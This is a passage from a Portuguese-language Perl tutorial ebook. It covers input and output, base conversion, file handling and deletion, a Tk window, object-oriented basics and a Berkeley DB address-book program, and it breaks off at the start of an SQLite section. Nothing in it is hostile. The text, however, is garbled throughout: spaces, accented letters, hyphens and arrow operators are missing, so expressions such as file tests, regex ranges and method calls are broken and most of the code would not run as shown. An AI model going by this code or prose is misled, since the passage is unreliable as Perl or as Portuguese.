novouexplicarissoagora,umaformaalternativaseriausar"ARGV"programadoresaiem
"C"jouviramfalarestenomemascontinuandoaiemperltemosavarivelespecial
"@ARGV"parapegardadosdeentrada
doscript.
Comoexemplovouusaronossooperadordediamantedenovo
@ARGV=qw#rockvan_halenmetalica#;
while(<>){
chomp;
print"vocegostade$_\?n";
}
Bemnoperltemosomantraquepodemosfazermuitascoisasdevriasformasnovou
mostrarmaisformasvoudeixarcomvoc,continuandoagoradandoalgunsexemplosde
sada

print(6+3);
vejaasadadiretadanossaexpressoaritmtica,tambmpodemosusarafuno"printf"
donossoamigo"C"exemplosimples
printf("ola\n");
algomaiscomplexocomo
printf"%12f\n",6*7+2/3;
Voudarumexemplodeentradasesadascomumprogramaquefizparaafaculdadeque
seencontra
nosite"http://BotecoUnix.com.br",nasessodearquiteturadesistemasprimeirovou
explicarqualalgicadeconversodebases...
Estudandonafaculdadetiveauladearquiteturaarespeitodesistemasdenumerao
conversesentrebasesconverterDecimalparabinrioetc
bemparatalfeitoestavafazendoumadivisodepoispegandoorestodamesmae
deixandoaocontrriodavacomorespostaporexemplo
converter11parabinrio(0,1)
11/2=5>resto=1
5/2=2>resto=1
2/2=1>resto=0
pegamos1011ousejaosrestoseresultadodaultimadiviso
converter11paraoctal(0,1,2,3,4,5,6,7)
11/8=1>resto=3ento=13
voufazerumalgoritmoparapessoalpegaroesquema
//programaconvertenumeroparabinrio
intnum,binrio,resto,diviso,vetor,vetor_contrario,cont;
binrio=2;cont=0;
escrevaescrevaumnumero;
leianum;
enquanto(diviso<>1){
diviso=binrio/num;
resto=num(binrio*diviso);
vetor[cont]=resto;cont++
}
cont++
array[cont]=1;cont2=0
//fazendoumvetorcomdadosaocontrario
para(cont;vetor[cont]>0;cont){
vetor_contrario[cont2]=vetor[cont];
cont2;

}
escrevaresultadovetor_contrario;
bemestealgoritmojnovaifuncionarbemparaconverterhexadecimal
vejaoporque
11=Bemhexadecimalnotemsnmeros
0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f16charsousejaHexadecimal
iriadarmuitotrabalhofazeremalgoritmoteriaquefazerumifparacadaletra
se(A){num=10}blabla
issosfoiumexemplodealgoritmo,vouporumlinkparaquemestaemdvidas
http://pt.wikipedia.org/wiki/Converso_de_base_numrica
bememqualquerlinguagemdeprogramaotemosfunesparafazertalfeito
deformamaisfcil,voumostrarumexemploemperldeformarpida
#!/usr/bin/perl
usestrict;
usewarnings;

&programa;

subprograma{
&inicio;
chomp(my$escolha=intro());
if($escolhaeq1){
my$octal=sprintf("%o",escolha($escolha,"Decimal","octal"));
print"resultado$octal\n";
goto&programa;
}

if($escolhaeq2){
my$hex=sprintf("%X",escolha($escolha,"Decimal","hexadecimal"));
print"resultado$hex\n";
goto&programa;
}

if($escolhaeq3){
my$bin=sprintf("%b",escolha($escolha,"Decimal","binario"));
print"resultado$bin\n";
goto&programa;
}

if($escolhaeq4){
my$dec=oct(escolha($escolha,"Octal","Decimal"));
print"resultado$dec\n";
goto&programa;
}

if($escolhaeq5){
my$dec=hex(escolhahex($escolha,"Hexadecimal","decimal"));
print"resultado$dec\n";
goto&programa;
}

if($escolhaeq6){
my$dado=escolha($escolha,"Binario","Decimal");
my$dec=oct("0b$dado");
print"resultado$dec\n";
goto&programa;

if($escolhaeq7){
my$char=ord(escolhansi($escolha,"ASCII","Numero"));
print"resposta$char\n";
goto&programa;
}

if($escolhaeq8){
my$num=chr(escolhansi($escolha,"Numero","ASCII"));
print"resposta$num\n";
goto&programa;
}

if(!$escolha){print"saindo\n";sleep2;exit;}
}

#Funesdiversas

subescolhansi(){
print"vocescolheunumero$_[0]\ndigiteumnumeroparaconverter$_[1]para$_[2]\n";
while(<STDIN>){
if($_=~/\S{1}/){return($_);
}else{print"valor$_invalidospodeserumdigitoansi\n";goto&programa;}
}
}

subescolhahex(){
print"vocescolheunumero$_[0]\ndigiteumnumeroparaconverter$_[1]para$_[2]\n";
while(<STDIN>){
if($_=~/[09AF]/){return($_);
}else{print"valor$_invalidospodesernumeroseletraAhaF\n";goto&programa;}
}
}

subescolha(){
print"vocescolheunumero$_[0]\ndigiteumnumeroparaconverter$_[1]para$_[2]\n";
while(<STDIN>){
if($_=~/[09]/){return($_);
}else{print"valor$_invalidospodesernumero\n";goto&programa;}
}
}

subintro(){
while(<STDIN>){
if($_=~/[08]{1}/){return($_);}
print"digitenumerodeopovlida\n";
}
}

subinicio{
print"
ProgramaconversordeBasesbyAntonioCooler_

DigiteumNumero

1DecimalparaOctal
2DecimalparaHexadecimal
3DecimalparaBinrio
4OctalparaDecimal
5HexadecimalparaDecimal
6BinarioparaDecimal
7ASCIIparaNumero
8NumeroparaASCII
0SairdoPrograma
";

Bemnofiquecommedodoprogramatenterodarelenoseucomputadortenteentender
cadalinha
harespeitoo"sprint"retornaretornauma"string"formatadadeacordocomas
convenesusuaisde"printf".Algumadvidavideomanualdeocomandonumterminalai
"perldocfsprintf"
agoraterminandocomumexemplode"printf"comarrays
my@items=qw(homerbartchapolin);
my$formato="foiconvidado:\n".("%10s\n"x@items);
printf$formato,@items;

Filehandles,Trabalhandocomarquivos

Agorasimchegamosnumpontobemlegallerarquivos,escrevernelesusando"I/O"
voudarumexemplosvamospegarumarquivochamado"texto.txt"lembrandoqueeste
arquivo
estarnomesmolocaldonossoprogramanocontedodestearquivoescrevaqualquercoisa
feitoissovamoscriarumprograma"open.pl"comocontedo.
#!/usr/bin/perl
print"abridordotexto.txt\n";
open(my$read,"<","texto.txt")||die"erroemabrirarquivotexto.txt$!\n";
while(<$read>){
print"$_";
}
close$read;
@lista=("homerdossimpson\n",
"bobdomundocanibal\n",
"madrugadochaves\n",
"chapolinporseridiota\n",
"bozohelegal\n");
open(my$out,">>","texto.txt")||die"erronoarquivotexto.txt$!\n";
print{$out}@lista;
close$out;

Decaravimosocomando"open"ousejaparaabrirlogodepoisumsinalparaavisarcaso
tenhaumerronoarquivo"||die"erroemabrirarquivotexto.txt$!\n";"casooprogramanoacheo"texto.txt"
depoisdemostrarcadalinhadonosso"txt"fechadooarquivo"close$read"continuando
logodepoiscriamosumvetorcomnomesqualquerdepoisimprimimosseucontedono
"texto.txt"
explicandomaisafundo
Vejamos:
ARQUIVO:abreARQUIVOapenasparaleitura(omesmoque<ARQUIVO);
>ARQUIVO:abreARQUIVOparaescrita,criandoocasonoexista;
>>ARQUIVO:abreARQUIVOparamodificao(append);
+>ARQUIVO:abreARQUIVOparaleitura/escrita.
"Porquevoccolocouo"die"?"
Bem,nocasoocomando"die"paraimprimirnatelacasoodocumentonoseja
encontradopelooprograma.Podeserusado"warn"tambm.
Quantoaexpresso"or",nspoderamossubstituirpelaexpressolgica"||",queseriaa
mesmacoisa,ficandomaiselegante.
open(my$arquivo,"<$texto")||warn"Nofoipossvelabrir$texto:$!";
TestarseodocumentoexistecomPerl
Issomuitosimples,vamosusaraexpresso"enome_arquivo".Exemplo:
if(e"index.html"&&e"index.cgi"){
print"Voctemasduasindex:htmlecgi\n";
}
Muitosimples,oquetemdediferenteaaexpressolgica"&&",queinterpretamoscomo

"talelementoetalelemento".Issodeixaocdigomaisricoemaislimpo.
Vamosverestatabelaparaentendermelhor:
r:arquivooudiretrioparaleitura;
w:arquivooudiretrioparaescrita;
x:arquivooudiretrioparaexecutar;
o:arquivooudiretrioquepertenceaumusurio;
R:arquivooudiretriolegvelparaumusurio;
W:arquivooudiretrioparaescritaparaumusurio;
X:arquivooudiretrioparaexecutarparaumusurio;
O:arquivooudiretriodeumusurio;
e:testaaexistnciadeumdiretrioouarquivo;
z:testaaexistnciasetivernadanoarquivo;
s:testaaexistnciadoarquivooudiretriosetivermaisdoque0detamanho.
Faltammaiselementos,issovocencontrafacilmentenoperldoc
Usandoo"stat"
O"stat"podeserusadoparamostrarparaoPerlondeestodiretrioquevocest
trabalhandoalgumasvariveis,exemplo:
(@lista_documentos)=(stat("/home/voc/teste"))[1,2];
Explicandoocdigo,colocandoostatdentrodoarrayestoumostrandoqueosarquivos1
(daprimeiralinha)e2(segundalinha)estoem"/home/voc/este".O"stat"eo"lstat"
podemserusadoscomolinkssimblicostambm.
ComopossodeletarumdocumentoouumdiretrionoPerl?
Paraissotemosocomando"unlink".Digamosquequeremosdeletardoisdocumentosou
diretrios,porexemplo:
unlink("seila","index.html");#Matadoispssarosdeumavez
unlink<*.txt>;#mesmacoisade"rm*.txt"emshell
Vocpodeusarum"foreach"paradeletarosdocumentosdeumdiretrio:
foreach$file(<*.txt>){
unlink($file)||warn"Nofoipossveldeletardocsde$file:$!";
}
Muitosimples.Paradiretriospodeseusar"rmdir":
rmdir("cemiterio")||die"Nofoipossvelremovercemitrio:$!";
Renomeandoarquivosoudocumentos
rename("teste","bobo")||die"Nofoipossvelrenomearpedidos:$!";

voudarumexemplodetrabalhodearquivosmaisconcreto
Vamosiniciarlendoocontedodeumarquivolocal:
#!/usr/bin/perl

useFile::Basename;
print"analisandolocal\n";
@list=<*>;
@list=glob("*");
foreach(@list){
print"$_\n";
}
Pegamosdadosdousurio:
print"Qualdiretriodesejaverarquivosemperl\?\n";
chomp($arquivo=<STDIN>);
Abrindoumdiretrioeanalisandoseucontedo:
opendir(DIR,$arquivo);
Aquipegamososdadosdedentrodeumdiretriodeformasimples,sequisermosretirar
apenasarquivosem"Perl",usaremoscomumaregexsimples"@files=grep{/\.pl$/}
readdir(DIR);",destaformadentrodoarrayficaroapenasosarquivoscomextenso".pl",
masnoexemplovamoslistartodososelementosdodiretrioescolhidopelousurio.
@files=readdir(DIR);
Usamossortparaorganizarporordemalfabtica.
@alfa=sort(@files);
closedir(DIR);
foreach(@alfa){print"$_\n";}
Bacana,tambmpodemosusarpararenomearumarraydearquivosinteiros:
foreach$file(@NAMES){
my$newname=$file;
change$newname
rename($file,$newname)orwarn"nofoipossvelrenomear$filepara$newname:
$!\n";
}
OutracoisainteressanteseriafazeroPerlnosdizeroquediretrioeoqueno
usandobasename:
useFile::Basename;
$path='/home/Cooler/ola.pl';
$file=basename($path);
$dir=dirname($path);
print"diretrio$dir,arquivo$file\n";
Outracoisabacanaparaseusar,porexemplo,voctemqueremoverumdiretrioeos
arquivosdentro,tipoocomandodoUnix"rmr",squeemPerl.Dapodemosfazer:
#!/usr/bin/perl

useFile::Findqw(finddepth);
print"Qualpastaaserdeletadatodocontedodelaseradeletadotambm\n";
chomp($pasta=<STDIN>);
*name=*File::Find::name;
finddepth\&killer,$pasta;
subkiller{
if(!l&&d_){
print"rmdir$name\n";
rmdir($name)orwarn"nofoipossvelremoverdiretrio$name:$!";
}
else{
print"unlink$name";
unlink($name)orwarn"nofoipossvelremoverarquivo$name:$!";

}
}
Vamosparaoutroexemplomaissimplesecomamesmafunodoanterior
(remover):
useFile::Path;
print"Qualdiretriopararemover\?\n";chomp($pasta=<STDIN>);
foreach$dir($pasta){
rmtree($dir);
}
Agorasfaltouocopy,voudarumexemplodeusodele:
useFile::Copy;
copy("datafile.dat","datafile.bak")ordie"falhanacopia:$!";
move("datafile.new","datafile.dat")ordie"falhanacopia:$!";
Eleapenascopiaumarquivo,voctambmpodeusaroutrasfunes.
Paracriarumdiretriobasta:
mkdir("teste",0777)||die"Nofoipossveldarmkdir:$!";
Oqueseria"0777"seria"rwx"emoctal,isto,permissoparaalterar,lere
executarnopadroUnix.
Falandoempermisses,emPerlvocpodeusar,paradefinirpermisseso
comando"chmod".Exemplo:
chmod(0666,"arquivo","ola");
EmPerlpodeatusarocomando"chown",comoexemplo:
chown(1234,35,"slate","granite");
Explicando,"1234"seriao"UID"e35seriao"GID".

estesnmerosde07estoemoctalrepresentamnossosamigosldepermisses
"W,R,X"
aconselhoqueestudepermissesemlinux,unixparacompreendermelhortudoisso...
evitandoumforeachcomovetor@resultsparaescreverconteudonoout
openmy$out,'>',$out_file;
print{$out}@results;
close$out;
dvidas"perldocperlfaq5"

Capitulo4
________________________________________________________

ResolvendoseusproblemasnoPerl

"Onicolugarondeosucessovemantesdotrabalhono
dicionrio."
AlbertEinsten

Socorro!ondepossoacharajuda?
Bemsemprechegamosnestaparteondeoviajantetemqueprocurarafonte,bemoque
tenhoadizerprocurebebersempredafonteousejavleiaa"perldoc"oucompreo
livrodo"LarryWall"inglseleia,entrenumgrupodePerlMonksparaconversarsobre
programaoevoluireaprendermaisemais.
paraleraperldocescrevanumterminal
perldocperl
ou
podwebserver
casoinicieowebserverabraonavegadorevejahttp://localhost:8020
MdulosnoPerl
Operltemmuitosmdulosparatrabalharpodemservistosnosite
http://search.cpan.org,comumabuscasimplesvocpodeacharo
mduloqueirfazer25%dotrabalhochatodoseuprograma...
casoqueirainstalarumeestejausandoWin32procureopackagemanager
doseuinterpretador.OuinstalepeloPPM
C:\>ppm
PPMinteractiveshell(2.1.6)type'help'foravailablecommands.
PPM>installlibwwwperl

nocasodeUnixeafins
podemoschamarashelldocpancomocomando"cpan"depoisdecarregado
"installnome::modulo"eprontomduloinstalado,tambmpodemosfazer
manualmentebaixandootarballdepoiscompilandonaraacomoscomandos
"perlMakeFile.pl;make;makeinstall"
outraformaseriaqueinstalapelocpanenofazperguntas
TIME='%E'PERL_MM_USE_DEFAULT=1timecpan"modulo"
oumesmo
CPANinome_do_modulo
squeteriaqconfirmarparaYtodasasopesecondies...
casoqueiraveradocumentaodeummduloquevocacaboudeinstalar
perldocnome_do_modulo
assimoCPANinstalaomdulosemfazerperguntasparaconfirmarinstalaes
dedependncia.
BememsumaCPANePerldocsoosseusmelhoresamigosexploreeles

casoqueiraconversarsobreperlaovivooIRCcontacomumserversdeperl
seriao"irc.perl.org"entrenocanal"#saopaulo.pm"ltemumpessoalgenteboapara
discutirperl,bugs,soluesetc...

Capitulo5
________________________________________________________

ProgramaoorientadaaobjetosnoPerl

ObomdanovageraodeprogramadoresPOO
ByAntonioCarlos(Cooler)

ProgramaoOrientadaaobjetos(POO)
POOouOOPseriaumaparadigmadeanlise,projetoeprogramaodesistemasde
softwarecominteraoentrediversasunidadesdesoftwareousejavocnuncacomea
doZERO,nuncatemqueinventararodaparafazerseuprojeto,BemPerlmuitoforte
nesteconceitotantoqueteminfluenciasdosmalltalk...
VamosasquestesmaispopularesquantoaoPOO
Classeoque?
umconjuntodeobjetoscomcaractersticasafins
OqueObjeto?
Objetoumainstnciadeumaclasse,umobjetocapazdearmazenarestadosatravs
deseusatributosereagiramensagensenviadasaele..
OqueummtodonoconceitoPOO?
Sohabilidadesdosobjetos...
Oqueumatributo?
Seriaumaestruturadedadosquerepresentaumaclasse
Oqueherana?
quandoumaclassepodeaproveitarrecursosdeumaoutraclasseaproveitandoseus
mtodos...
Oqueassociao?
quandoumobjetoutilizarecursosdooutro
OqueEncapsulamento?
aseparaodeaspectosinternoseexternosdeumobjeto.
Noqueissovaimeajudar?
Podedeixarotempodedesenvolvimentodeumsoftwaremaiscurtoescrevendoocdigo
reutilizveleusandotcnicasdeprogramaobaseadaemobjetos.
vamosdaralgunsexemplosusandomdulosePOObsicamaisantesexplicandooque
mdulos
Mdulos
Ummduloumpacotedefinidoemumarquivocujonomeigualaopacoteexemplo
LWP::UserAgent ento local fica /LWP/UserAgent.pm, no Perl podemos ver estes
mdulossevocusalinuxouderivadonapasta/usr/local/lib/perlusuriosdeWin32
procurenapastadoseuinterpretador,nomundodoPerlosmduloseaprogramao
orientada em objetos so geralmentemencionados ao mesmo tempo.Mas s porque o
programador escreveu um pacote e uma subrotina no significa que o cdigo
objetivado.
Spararefletircasoqueiramudarlocaldassuaslibsnoseuprogramaemperl
my$local="/usr/local/bin/perl";my$basename=basename$local;
Emoutraspalavrasdeformatrivialtendoummduloquedescreveaclassetemque
conter uma subrotina especial para criar um objeto,Esta subrotina chamamos de
constructor,O constructor retorna um novo objeto uma referncia para ele.Essa
refernciaquefalamosumavarivelescalarcomum,excetoqueserefereaalgumobjeto

subjacentequesabequalclassepertenceemoutraspalavrasnosseusprogramasvoc
terqueusarrefernciaparacontrolaroobjeto.Vamosnaprticajestaficandomuito
chatoporexmeplovoctemummtodo:
subdentro_classe{
myclass=shift;#referenciadoobjeto
my($this,$that)=@_;#parmetros
}
parachamalovocpodefazerassim
PackageName>constructor(args>method_name(args);
ou
$object>method_name(args);
Osobjetostmumconjuntoespecficodemtodosdisponveisemsuaclasse,maseles
tambm herdam os mtodos de sua classeme, se houver uma.Estes Objetos so
destrudosquandoltimarefernciaparaelesterminaousejavocpodecontrolaresta
capturaantesdoobjetoserdestrudocomomtodoDESTROY.
Voudarumexemplo:

#!/usr/bin/perlw
#exemplosimplesdePOO
#instaleomoduloTkantesdeinterpretarasource
#"use"usamosparachamaralibousejaparausardeterminadomodulo
useTk;
usestrict;
#definimosnossoobjetodeadicionamosumainstancianova
my$mw=MainWindow>new;
$mw>Label(text=>'OlaBotecoUnix.com.br')>pack;
$mw>Button(
text=>'sair',
#olheaquiousonoDESTROYparadestruiroobjetooqueacaba
#fechandonossajanela...
command=>sub{sleep3;$mw>DESTROY;},
#compactamososatributosnumajanelasomentecompack
)>pack;
MainLoop;

Oquefazesteexemplo?
EleabreumajanelaescritaOlaBotecoUnix.com.brecomumbotoescritosaircaso
voccliquenobotoestajanelafechaem3segundos,issomesmoleitoresfizemosuma
janeladeformasimplesvideimagemdela...
faltouexplicaroqueMainLoopnalinha18bembemMainLoopiniciaumasub
rotinadeeventosparainterfacegrficaeoprogramadesenhaqualquerjanelaatque
atinjaainstruoMainLooptudoatelepreparaoscriadaajanelaquando
cheganoMainLoop...
BemesteltimoexemplofoimuitoconcretoRockandrollmesmousamospelaprimeira
vezaquinestelivroummduloslidoparausodecriaodejanelasomduloTKque
seriaparaescreverprogramascomumaGraphicalUserInterface(GUI)tantonoUnix
como Windows mais informao sobre a mesma procure no CPAN talvez em algum
capitulo eu fale mais sobre TK,claro que voltamos ao assunto principal POO deste
captulovoltamosento...

BemoPerlusaduasformasdesintaxeparachamarosmtodosdosobjetos,paraosdois
tiposdesintaxe,arefernciadoobjetoouonomedaclasseserfornecidocomoprimeiro
argumento.ummtodoquetemumnomedaclassechamadomtododaclasseeum
quetemumarefernciadoobjetochamadodemtodo
dainstancia.
Osmtodosdaclasseforneceafuncionalidadeparatodaaclasse,noapenasparaum
nicoobjetoquepertenceclasse.Osmtodosdaclasseesperamumnomedaclasse
comoseuprimeiroargumento.Seguindoestaexplicao,umconstrutorumexemplode
mtododeclasse:
subnovo{
my$self={};

bless$self;
return$self;
}

poroutroladoummtododeinstnciaesperaumarefernciadoobjetocomoseu
primeiroargumento.Ummtododainstnciadescoloprimeiroargumentoqueusar
esteargumento
subinstancia{
my$self=shift
my($um,$dois,$tres)=@_;
}
SumacoisaqueacabamospassandoporsimaoBlesstransformaoobjetoemrefem
umobjetonopackageeretornaareferncianomeblesssignificasantificarpodeser
porqueoautordalinguagemsejareligiosovejaositeoficialdelewall.org/~larrytem
umlinkchamadonewlifechurchigrejadanovavidaousejaumreligioso!
BemPOOumassuntomuitograndecasoqueiraaprenderafundomesmo
sugiroqueleiaadocumentaodoperlchamadaperltootetambmperlboot.

NocasoPerlboottemumaversotraduzidaparaportugusnosite
http://perl.org.br/Perldoc/V5000807/Perlboot
Outradicaseriavocanalisarocdigofontedomduloquevocestausandoetentar
compreenderoqueestaocorrendodentrodelegeralmentepessoalcomentacadalinha
dosmdulos...

Capitulo6
________________________________________________________

BancodeDadoscomPerl

Guardebemguardadooquesteu
nolembro:)

BancodeDadosemPerl
Oquebancodedados?
BancodeDadosumsistemadearmazenamentodeDadosbaseadoemcomputador
cujoobjetivoregistraremanterinformaesconsideradassignificativas...Alguns
atendeBancodedadospelasiglaDB(database).
OQueSGBD?
SistemaGerenciadordeBancodeDadospopularesMySQL,Oracle,PostgreSQL,MSQL...
OQueSQL?
Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL que foi
criada pela IBM inspirada em lgebra relacional,obviamente pela facilidade de fazer
buscas em SQL entre outros fatos vrios SGBDs preferem SQL assim como
MySQL,Oracle,PostreSQL...
OusejasevocsabeSQLjatem60%docaminhoandadoosoutros40%so
comandosprpriosdosSGBDseconfigs..
Agoraquejadamosumarevisadavamosiniciar,BemnestecaptulovouusarBerkeley
DBeSQLitepordoismotivos,Primeirosomaisrpidos,Segundosomaisfceisde
instalar e no leva tempo porem eles no tem filosofia de uso igual assim como
MySQL,OracleeoutrosSGBDsdepoiseuexplicomasclaroquesevocaprenderausar
SQLiteemPerlvocaprendetambmausarMySQLouPostgreSQLemPerl...
Primeiro vamos trabalhar com ODB ou DBM muito usado em softwares em que
precisasedeumbancoleveparaarmazenardadoscomoOpenLDAPprogramascomo
cyrus,muitosSysAdminsnemsabeoquesestoacostumadoaoLuxodeumconsole
comSQLmalsabemopoderJediquetemgDBM,DBM...
OracleBerkeleyDBumafamliadebancosdedadosdecdigoabertoquepermiteaos
desenvolvedores incorporar em seus aplicativos um aplicativo de banco de dados
transacionalrpidoeescalvel,comconfiabilidadeedisponibilidadedenvelindustrial.
Em outras palavras BerkeleyDB seria umModulo DBM(arquivo detabelasresiduais)
guardadas em uma HASH por este fato DBM tem muitas vantagens sobre arquivos
textos,ValelembrarqueaimpressaquecriouBerkeleyDBfoiasleepycatrecentemente
foicompradapelaoracledaveionomeOracleberkeleydb.

OBerkeleyDBdistribudosobummodelodelicenadupla,ouseja,disponvelsob
licenapblica etambmsoblicenacomercial.Projetosconhecidosdecdigoaberto
comoossistemasoperacionaisLinuxeBSDUNIX,oservidorWebApache,odiretrio
OpenLDAP,osoftwaredeprodutividadeOpenOfficeemuitosoutrosincluematecnologia
do Berkeley DB. Vou dar um exemplo de programa que fiz com DBM uma agenda
eletrnicaemPerlcomvrioscomandosusandomodulo"DB_File".bemvamosdarum

exemplodecasodeusocomadevidasoluoparaomesmomasantescasovocuse
windowsbaixeogdbm,gnuberkeleydatabasepararodarnowindowsouDBMverso
doWindowsvocdeveacharnositeoficialdaOracleinclusiveatmesmodocumentao
decomousarDBMemlinguagemCprovavelmentedeveserondepartiuasprimeiras
idias.
Vamosintenderoquevaiternonossoexemplo
primeiramente vamos fazer uma agenda eletrnica para tal feito vamos precisar
armazenarosdadosnumbancodotipoDBMemoutraspalavrasotofaladooracle
berkeleydb,continuandocomoestestiposdebancosguardamdadosemparesouseja
mesmoconceitodeHASHquevimosnesteebookporemcomalgumasdiferenasna
horadeusar,outracoisaqueveremosnoexemploousoderegexparafazerdecisesdo
nossoprogramaefunoparalimpartelacompatvelcomLinux*,*BSD,Windows*entre
outros.
Nofiquenervosocomcdigoquevocvaiver,tenteintenderrodeelenasuamquina
atquevocintenda....leiaoscomentriosdomesmo
#!/usr/bin/perlio
#bycooler
###############################
###########LibparatrabalharcomDBM
useDB_File;
###########libparatrabalharcomcoresdoterm
useTerm::ANSIColor;
usewarnings;
###############################cordotermverdecomfundopreto
printcolor'greenon_black';
###############################nomedobancolocal...
my$banco="data.dbm";
###############################numerosdogeradorfuturamenteserausadocomfuno
rand
@numbers=("0","1","2","3","4","5","6","7","8","9");
###############################StartRockandRollBaby
&programa();
##############################functionderetornar
subretorna(){
print"precionequalquerteclapararetornaraomenu\n";
while(<STDIN>){
if($_=~/.*/){print"OK\nretornandoaomenu\n";sleep1;programa();}
}
}
#############################functionlimpatela
sublimpa(){
########sohparalembrarvariavel
##$^OumavariavelespecialqueguardaonomedoSistemaoperacional
my$cmd=0;my$sys="$^O";
if($syseq"linux"){$cmd="clear";}else{$cmd="cls";}
print`$cmd`;
}
#############################pegaumaescolha
subentrada(){
while(<STDIN>){
if($_=~/[04]{1}/){return($_);}
print"digitenumerodeopovlida\n";
}

}
###########################geradordecodigosid
subcode(){
untie%hash2;
$num1=rand(@numbers);$n1=$numbers[$num1];
$num2=rand(@numbers);$n2=$numbers[$num2];
$num3=rand(@numbers);$n3=$numbers[$num3];
$num4=rand(@numbers);$n4=$numbers[$num4];
$num5=rand(@numbers);$n5=$numbers[$num5];
$num6=rand(@numbers);$n6=$numbers[$num6];
$codigo="$n1$n2$n3$n4$n5$n6";
tie(%hash2,'DB_File',$banco)ordie"erronobancodata.dbm':$!\n";
while(($chave,$valor)=each%hash2){
if($chave=~/$codigo/){code();}
}
untie%hash2;
return$codigo;
}
#######################bannerdoprograma
subheader(){
printq{
++
|AGENDAELETRONICA|
|UsandoberkeleyDataBase|
++
|1Adicionarcadastronaagenda|
|2Removercadastrodaagenda|
|3Procurarcadastrosnaagenda|
|4Listarcadastrosdaagenda|
|0SairdaAgenda|
++
Version0.6ByC00L3R
}}
######################programaemsi
subprograma(){
limpa();header();
chomp(my$escolha=entrada());
print"vocedigitou$escolhaOK\n";
if(!$escolha){
print"saindo\n";
sleep1;limpa();printcolor'reset';exit;
}
###################Adicionandocadastro
if("$escolha"eq"1"){
print"\ncadastrandocontatonaagenda\n";
print"digiteumnomeparaocadastro\n";chomp($nome=<STDIN>);
print"digitelocaldocontato\n";chomp($local=<STDIN>);
print"digitecidadedocontato\n";chomp($cidade=<STDIN>);
print"digitetelefonedocontato\n";chomp($telefone=<STDIN>);
#adicionamosnobancoasvaremseguidade":"paraextrairdepoiscomsplit
$resposta="$nome:$local:$cidade:$telefone";
tie(%hash,'DB_File',$banco)ordie"erroem$banco':$!\n";
$codigo=code();
$hash{"$codigo"}="$resposta";
print"cadastrocolocadonaagenda\n";retorna();
}
##############################escolhapararemoverdadodaagenda
if("$escolha"eq"2"){
print"digiteumnomedecadastradopararemoverdaagenda\n";

chomp($busca=<STDIN>);
tie(%hash,'DB_File',$banco)ordie"erroem$banco':$!\n";
while(($chave,$valor)=each%hash){
if($valor=~/$busca/){
#estraimososdadosdandosplitemquetiverentre":"
@triad=split(/:/,$valor);
print"\n";
print"Nome:"."$triad[0]\n";
print"Local:"."$triad[1]\n";
print"Cidade:"."$triad[2]\n";
print"Tellefone:"."$triad[3]\n";
print"\n";
print"desejaremoverestecadastro?NaoouSim\n";
chomp($opcao=<STDIN>);
if($opcao=~/[Nao|nao|n|N]/){retorna();}
else{delete$hash{$chave};print"removido\n";}
}
}
#fechandonossahash
untie%hash;
retorna();
}
###############################procurandocadastro
if("$escolha"eq"3"){
print"digiteumnomeparaprocurarnaagenda\n";chomp($busca=<STDIN>);
tie(%hash,'DB_File',$banco)ordie"erronobancodata.dbm':$!\n";
while(($chave,$valor)=each%hash){
if($valor=~/$busca/){
@triad=split(/:/,$valor);
print"\n";
print"Nome:"."$triad[0]\n";
print"Local:"."$triad[1]\n";
print"Cidade:"."$triad[2]\n";
print"Tellefone:"."$triad[3]\n";
}
}
untie%hash;retorna();
}
###############################listandocadastros
if("$escolha"eq"4"){
print"Listandocadastrosdaagenda\n";
tie(%hash,'DB_File',$banco)ordie"erronobanco$banco':$!\n";
#################organizandoemordemalfabeticaolegalheqoperl
#################usamergenosortassimvaibemrapido
foreach$value(sortvalues%hash){
###############usamossplitparaextrairosdadosentre":"
@triad=split(/:/,$value);
print"\n";
print"Nome:"."$triad[0]\n";
print"Local:"."$triad[1]\n";
print"Cidade:"."$triad[2]\n";
print"Tellefone:"."$triad[3]\n";
}
untie%hash;
retorna();
}
}

OPS:senotiverdata.dbmoprprioprogramacria...
Ufa terminamos nosso cdigo usando DBM exemplo da agenda um marco na
programaoemqualquerlinguagempoistemumpocodecadacoisanesteexemploque
passei tem Arrays,Hash,Sort,Regex,DBM. Este exemplo foi uma canja forte de
aprendizado,deformatrivialcabevocleitorentrarnoCPANeestudaroutrosmdulos
quetrabalhamcomOracleberkeleyDBourelacionados,provavelmentevocveroutros
mtodosdefazeramesmacoisamtodosatmaisfceisqueoaquimostradopoisPerl
temestemantraMilmaneirasdefazeramesmacoisacabeavocverqualamelhor
paravoc...
DeixemosDBMumpocodeladoeuseiqueoassuntosobreelegrandetematlivros
sobreomesmodemuitaspginascasoqueiraseaprofundaremDBMantesdeirmos
paraSQL,videossites
http://www.oracle.com/global/br/database/berkeleydb/index.html
http://www.perl.com/doc/manual/html/lib/DB_File.html
http://search.cpan.org/~pmqs/BerkeleyDB0.39/BerkeleyDB.pod

BancosSQLcomPerl
LogonocomeotestecaptuloinicieiumabreveexplicaodebancodedadosSQLbem
agorachegouahoradeexemplosprticossobreomesmo,Antesdepartirparaorockand
rolldevemosversetemosasferramentasparaissosoelas
*SQLite3
*uminterpretadordePerl
*DBD::SQLITE
taOkento
casovocnosaibaoqueSQLitevouexplicartudo
OqueSQLite?
SQLiteumabibliotecaCqueimplementaumbancodedadosSQLembutidoouseja
SQLiteoservidor.AbibliotecaSQLiteleescrevediretamenteparaoarquivo
dobancodedadosnodisco.

http://www.sqlite.org/
PorquevamosusarSQLite?
SQLitefoiescolhidoparaesteartigopornonecessitarde
configuraescomplicadaseporsuainstalaoserrapidaelimpa...
Suporta bases de dados acima de 2terabytes,O Banco de Dados guardado em um
nicoarquivo

eSemdependnciasexternaseoutrosmotivos,facilexportardados,porserrapido...
Comoinstalar?
casousewindowsouqueirainstalardiretodotarballhttp://www.sqlite.org
linuxdebianosemgeral"aptgetinstallsqlite",Slackersinstallpkgsqlite3_bla_bla.tgz
chapeisvermelhoseazuis"yuminstallsqlite",Daemons,puffysprocurenosports.
Comocrioumbancodedados?
sqlite/local_que_quiser/banco.db
prontofeitoissovoccairanoconsoledoSQLitevejanomeucasoestouusandoSQLite3
[Cooler@localhost~]$sqlite3teste.db
SQLiteversion3.5.9
Enter".help"forinstructions
sqlite>
noconsolequevocexecutaoscomandosSQLvoumostraralgunscomandosparausar
noSQLiteeemoutrosSQGBDscomoMySQL...
vamosverumalistadecomandosquefizparaestudo
#ListadeCOmandossimplesdoSQLite
###################################################
#paracriarumbancopodemosusarocomando"sqlite3nosso_banco.db"
#
comando".table"listatabelasquetemnosistema
#comando".schema"listacomandosdadosnosistema
#coamndo".help"listademaiscomandosesuasfuncoes
